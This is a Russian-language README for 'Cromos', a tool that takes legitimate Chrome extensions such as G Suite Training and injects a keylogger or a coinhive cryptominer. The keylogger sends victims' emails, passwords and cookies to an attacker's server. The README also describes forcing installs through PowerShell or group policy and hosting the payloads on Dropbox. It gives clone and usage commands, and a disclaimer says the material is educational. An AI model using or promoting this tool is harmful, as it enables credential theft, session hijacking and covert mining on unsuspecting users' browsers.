
Cromos — это инструмент для загрузки легитимных расширений из Chrome Web Store и внедрения кода в фон приложения.
Cromos — это инструмент для загрузки легитимных расширений из Chrome Web Store и внедрения кода в фон приложения, а также создания исполняемых файлов для принудительной установки через PowerShell, например, и загрузки файлов на Dropbox для хостинга вредоносных файлов.
Это демонстрация работы инструмента. В этом примере я загружаю известное расширение Google под названием G Suite Training из Chrome Web Store и внедряю модуль кейлоггера.
$ cd $HOME/
$ git clone https://github.com/fbctf/cromos
$ sudo chmod -R 777 cromos/
$ cd cromos && python setup.py
Usage: python cromos.py --extension {id}
Usage: python cromos.py --extension {id} --load {currency/keylogger}
Usage: python cromos.py --extension {id} --build {bat} --token {dropboxToken}
Вы также можете внедрять некоторые предопределённые модули в фоне, такие как кейлоггер, виртуальная валюта.
| Модуль | Описание |
|---|---|
| modules/keylogger | Этот модуль перехватывает все пароли, которые вы вводите в заражённом браузере, через https или нет. Всё, что вам нужно, это иметь php-сервер, например, для приёма запросов; получаемые параметры: email, password, cookies и userAgent. |
| modules/currency | Этот модуль позволяет добывать виртуальные монеты с помощью API coinhive; вам просто нужна учётная запись. |
Chrome позволяет добавлять расширения с помощью объекта групповой политики Windows (GPO). Если вам нужно принудительно установить на несколько машин, просто следуйте шагам в Chrome Deployment Guide , затем измените исходное расширение; с небольшими модификациями вы можете опубликовать своё расширение в Chrome Web Store (требуется оплата $5).
Примеры кода предоставлены в образовательных целях. Адекватная защита может быть построена только путём исследования атакующих техник, доступных злоумышленникам. Использование этого кода против целевых систем без предварительного разрешения незаконно в большинстве юрисдикций. Авторы не несут ответственности за любой ущерб, причинённый в результате неправомерного использования этой информации или кода.
49m12JEEC6HPCHkLMX5QL4SrDQdKwh6eb4Muu8Z9CwA9MwemhzFQ3VcgHwyuR73rC22WCymTUyep7DVrfN3GPt5JBCekPrR